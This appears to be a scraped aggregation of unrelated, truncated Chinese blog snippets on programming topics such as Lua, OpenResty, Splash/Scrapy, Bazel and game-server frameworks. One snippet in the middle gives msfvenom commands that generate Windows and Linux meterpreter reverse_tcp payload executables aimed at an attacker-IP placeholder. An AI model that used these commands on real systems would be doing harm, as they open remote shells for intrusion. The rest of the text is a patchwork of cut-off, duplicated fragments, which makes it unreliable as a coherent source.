1. ngx_lua nodejs php 比较 我在研究一阵子ngx_lua之后发现lua语法和js真的很像,同时ngx_lua模型也是单线程的异步的事件驱动的,工作原理和nodejs相同,代码甚至
Tensorflow, Envoy, Kubernetes, KubeVirt 等等大型项目都是用 Bazel 构建的,要参与开发这些项目或者基于这些项目做开发,不能避开Bazel,且Bazel是当前开源Build System里最先进也最代表着未来方向的产品,非常有必要掌握。
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格局。它基于ECMAScript的一个子集。JSON选用完全独立于言语的文本格局,但是也使用了类似于C言语宗族的习气(包含C、C++、C#、Java、JavaScript、Perl、Python等)。这些特性使json调试成为抱负的数据交换言语。易于人阅览和编写,同时也易于机器解析和生成(一般用于提高网络传输速率)。
Lua是动态类型语言,变量不要类型定义,只需要为变量赋值。 值可以存储在变量中,作为参数传递或结果返回。(我想了想python) -- 用来单行注释 --[[ 这里是多行注释 --]] Lua中有8个基本类型分别为:nil、boolean、number、string、userdata、function、thread和table。 Lua的nil,boolean和string类似java中的null,boolean,String number类似c中的double userdata可以自己用来实
Cocos Code IDE 是一个基于 Eclipse 的跨平台 IDE ,专门为 cocos2d lua & js 开发者准备,通过此工具。你能够方便的创建游戏project、编写而且调试代码、实时查看代码被改变后的效果,终于直接公布成一个可上架的安装包。当前公布的是第一个 alpha 版本号,我们有信心将它打造成众多X-man的开发神器。
最近跟一个朋友聊起编程语言的一些特性,他有个言论让我略有所思:“不能REPL的都是渣”。当然这个观点有点偏激,但我们可以探究一下,我们常用的编程语言里面,哪些支持REPL,哪些不支持,还有REPL的一些概况。 在一般的脚本语言中,有REPL是常态, 因为REPL非常的方便。 编程术语 REPL (Read-Eval-Print Loop) 中文的话有翻译成“交互式解释器”或“交互式编程环境”的。 不过我觉得不用翻译,直接REPL就好了,这样的术语,翻译成中文后,读者更难理解。下面是对 REPL 的解
Splash是一个javascript渲染服务。它是一个带有HTTP API的轻量级Web浏览器,使用Twisted和QT5在Python 3中实现。QT反应器用于使服务完全异步,允许通过QT主循环利用webkit并发。 一些Splash功能:
在前面的博客中,我们已经见识到了Scrapy的强大之处。但是,Scrapy也有其不足之处,即Scrapy没有JS engine, 因此它无法爬取JavaScript生成的动态网页,只能爬取静态网页,而在现代的网络世界中,大部分网页都会采用JavaScript来丰富网页的功能。所以,这无疑Scrapy的遗憾之处。 那么,我们还能愉快地使用Scrapy来爬取动态网页吗?有没有什么补充的办法呢?答案依然是yes!答案就是,使用scrapy-splash模块! scrapy-splash模块主要使用了Splash. 所谓的Splash, 就是一个Javascript渲染服务。它是一个实现了HTTP API的轻量级浏览器,Splash是用Python实现的,同时使用Twisted和QT。Twisted(QT)用来让服务具有异步处理能力,以发挥webkit的并发能力。Splash的特点如下:
在很多游戏中,脚本语言是不可或缺的一部分,很多游戏都使用到了Lua,js,python一类的脚本,脚本语言可以在很多方面给开发进程带来帮助。脚本语言可以作为初始化文件读入变量和游戏数据的一个快速而方便的方法。它们通常因为具有节省编译时间提高生产效率、提高创造性和拓展性的有点而受到众多游戏开发厂商的青睐。在本篇博客中,马三将和大家一起学习一下Lua这门脚本语言。
Splash 是一个 JavaScript 渲染服务,是一个带有 HTTP API 的轻量级浏览器,同时它对接了 Python 中的 Twisted 和 QT 库。利用它,我们同样可以实现动态渲染页面的抓取。
有哪些开源游戏服务器框架,值得学习呢。基于node.js 、java、C#、golang 、c++、python 等技术栈有各种各样的游戏框架。 本文收集一些比较常用的 github上star和fork有一定数量的较为完整的框架
服务从单体应用升级到微服务的时候,整个请求的链路会变多,当发生异常、或遇到接口性能瓶颈时。很难将具体的异常日志和具体的请求关联起来,也很难直接定位是哪个调用环节存在性能瓶颈。这个时候就需要一个分布式链路追踪系统来串联调用链,快速定位问题。
【CentOS环境】 http://centos-packages.com/7m
简介:A WebGL accelerated, browser based JavaScript library for training and deploying ML models. https://js.tensorflow.org
Splash是一个JavaScript渲染服务,是一个带有HTTP API的轻量级浏览器,同时它对接了Python中的Twisted和QT库。利用它,我们同样可以实现动态渲染页面的抓取。
mirai 官方提供 Kotlin/Java 等 JVM 平台语言开发支持。如果不熟悉这些语言,请使用以下社区 SDK:
首先很遗憾的一点是,“PHP虽然是最好的语言”,但是它不是最流行的语言。 对不起的还有刚刚在4月TIOBE编程语言排行榜上榜的各个语言: 你们都很棒,但是你们都担当不了这个大任。 开始之前,我先说一
以前,我总谈到编程是从xaas开始,到langsys到 domainstack到app的四栈叠加过程,语言因为平台也有本质上的二种:toolchain式和app式,历史上,人们总是企图从toolchain式语言上封装一次,在这上面发展app语言,这使得任何一种app都有了平台相关性,这种相关性或是CPU架构,OS的,或是toolchain libc。所以才会有那些移殖性的讨论和软件虚拟机语言(它们将平台重新发明了一次,以封装相异)和实现品,并在这上面长足发展了很多开发理念和实践。
1、先从官方站点(www.cocos2d-x.org)下载 Cocos2d-x-3.2文件。
Python 作为一种功能强大的编程语言,因其简单易学而受到很多开发者的青睐。那么,Python 的应用领域有哪些呢?
本文关键字:DSL框架和自动化生成工具,pypy as dsl framework and jit framework
Sublime Text:一款具有代码高亮、语法提示、自动完成且反应快速的编辑器软件,不仅具有华丽的界面,还支持插件扩展机制,用她来写代码,绝对是一种享受。相比于难于上手的Vim,浮肿沉重的Eclipse,VS,即便体积轻巧迅速启动的Editplus、Notepad++,在SublimeText面前大略显失色,无疑这款性感无比的编辑器是Coding和Writing最佳的选择,没有之一。 原文首链,请移步这里如何优雅地使用Sublime Text;最后更新于2015.12.15晚 (不能为简书文章添加目录?,
Python 经常被用于 Web 开发,尽管目前 PHP、JS 依然是 Web 开发的主流语言,但 Python 上升势头更劲。尤其随着 Python 的 Web 开发框架逐渐成熟(比如 Django、flask、TurboGears、web2py 等等),程序员可以更轻松地开发和管理复杂的 Web 程序。
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
在上一篇文章中,链接如下:https://www.cnblogs.com/xiao987334176/p/13656055.html
本文主要备忘为Node.js编写组件的三种实现:纯js实现、v8 API实现(同步&异步)、借助swig框架实现。
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
本文介绍了一种基于Scrapy的爬虫框架,该框架基于Scrapy和Selenium,支持跨浏览器的爬取。包括整体架构、Spider的编写、Item定义、Pipeline的配置和Splash的使用。在爬虫的过程中,通过Splash请求数据,实现异步加载,从而提高爬取效率。
Python作为一种功能强大的编程语言,因其简单易学而受到很多开发者的青睐。那么,Python 的应用领域有哪些呢?
某一天,光子的一位童鞋突然拉了个小群,发了一段代码,然后发了几个测试数据,说测试结果和预期严重不符。大有一副“兴师问罪”的样子。
Web环境是指在Web服务器上运行的用于托管和处理 Web 应用程序的软硬件组合。通常包括操作系统、Web 服务器软件、数据库系统、编程语言和其他相关工具。
Openresty是国人发起的一个开源项目,大概看了一下,也体验了一下,在技术实现上,角度挺有意思的。Openresty是基于Nginx的web服务器,有意思的是Openresty的思路是把web应用服务集成到Nginx里面。大家都知道Nginx是通常配合Node.js、Go、PHP等后端技术一起使用,通过进程间通信或者socket完成一个完整的服务。
OpenResty 是一个基于 Nginx 的全功能 Web 平台,它集成了大量精心设计的 Nginx 模块,以及大量的 Lua 库。在使用 OpenResty 时,有两种主要的包管理工具 OPM 和 LuaRocks。
个人对脚本语言认识不深, 尤其是动态语言... 但是问了好多人为什么逻辑用脚本写, 答案都是不用编译 这也只能怪DT的C++当初没设计好 由于WOW的成功, 让lua几乎成了游戏脚本的标准 原来的python/ruby/tcl啥的一下子就没落了, 都怪暴雪啊~ 虽然lua做为一个脚本语言来说, 非常的完美 但是我对它不是很感冒, 可能习惯了C系语言的语法了 对于C/C++/C#/Java/JS/AS类的我才看着比较顺眼 而且, 从学校开始, 好像自己就中了C#的毒一般, 虽然一直没机会大量应用, 但心中一直
在上一节我们实现了Scrapy对接Selenium抓取淘宝商品的过程,这是一种抓取JavaScript动态渲染页面的方式。除了Selenium,Splash也可以实现同样的功能。本节我们来了解Scrapy对接Splash来进行页面抓取的方式。 一、准备工作 请确保Splash已经正确安装并正常运行,同时安装好Scrapy-Splash库。 二、新建项目 首先新建一个项目,名为scrapysplashtest,命令如下所示: scrapy startproject scrapysplashtest 新
摘要:MySQL 8.2引入了透明读/写分离功能,MySQL 路由器可以自动将只读SQL路由到集群的只读节点。然而,MySQL路由器在此过程中需要对接收到的SQL进行一定程度的解析,以确定其是否为只读SQL。这个解析过程对系统性能会有怎样的影响呢?知名MySQL布道师Frédéric Descamps对此进行了测试,让我们一起看看他的分析。
其实对于理解Javascipt的人来说,Lua也很容易理解,因为他们太多的地方相像了。
最近 “pypy为什么能让python比c还快” 刷屏了,原文讲的内容偏理论,干货比较少。我们可以再深入一点点,了解pypy的真相。
本文汇编了一些机器学习领域的框架、库以及软件(按编程语言排序)。 C++ 计算机视觉 CCV —基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库 OpenCV—它提供C++, C, Python, Java 以及 MATLAB 接口,并支持 Windows, Linux, Android and Mac OS 操作系统。 通用机器学习 MLPack DLib ecogg shark Closure 通用机器学习 Closure Toolbox—Clojure 语言库与工具的分类目录 Go 自然语言处
本列表选编了一些机器学习领域牛B的框架、库以及软件(按编程语言排序)。 C++ 计算机视觉 CCV —基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库 OpenCV—它提供C++, C, Python, Java 以及 MATLAB接口,并支持Windows, Linux, Android and Mac OS操作系统。 通用机器学习 MLPack DLib ecogg shark Closure 通用机器学习 Closure Toolbox—Clojure语言库与工具的分类目录 Go 自然语言处理
本文关键字:devops可编程的语言系统。programmable language,可编程容器和可编程语言系统,c++ as terra++
其有非常多的优点,但是也并不是完美的,除了大家都知道的执行速度不够快,Python2和Python3的兼容问题,以及GIL锁,在其语法上也有一些特点(是否是缺点见仁见智啦):
由于我的做小程序的时候改了下后台的安装软件,不是使用的单纯的Nginx,而是使用的OpenResty,然后呢在网上看到了有介绍OpenResty的,故摘抄下来,不知道现在用 OpenResty人有多少,不过我倒是庆幸自己用OpenResty
本文介绍了一种使用Iron.js在.NET程序中运行JavaScript脚本的方法,通过动态语言运行时(DLR)实现。该方法可以方便地为动态语言添加自定义逻辑,提高开发效率。
大家好,我是Golang语言社区(www.golang.ltd)主编彬哥,本篇给大家带来一篇关注手机游戏开发相关的文章。
存在问题: 手游越来越火了,听听业内人士的分析,他山之石,多多借鉴,那么手游的服务器到底如何搭建的? 解决方案: 从事游戏服务器开发差不多两年时间,两年间参与了不少项目,学到了很多游戏服务器开发技术,参与过几个不同架构的服务器开发,就随便聊聊游戏服务器开发需要的技术。(以下所指游戏服务器更偏向于手游,因为我对端游和页游开发接触并不多) 一.聊聊服务器开发有哪些东西要考虑。 1.开发语言的选择: 工欲善其事,必先利其器,选择一门适合的开发语法对后期开发有着事半功倍的作用。 业界主要的是c/c++ + Pyt
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本篇博客讲解: Cocos2d-x介绍与环境搭建 1.移动平台游戏引擎介绍 2.Cocos2d家谱介绍 3.Cocos2d-x设计目标 4.在Windows平台下开始开发Cocos2d-x游戏
一个”记忆”类的比赛游戏。你和电脑对战,轮到谁的回合,谁翻两张牌,假设两张牌一样。就消掉这两张牌,得2分,能够继续翻牌,假设两张牌不一样,就换一个人。直到最后。看谁的得分高。
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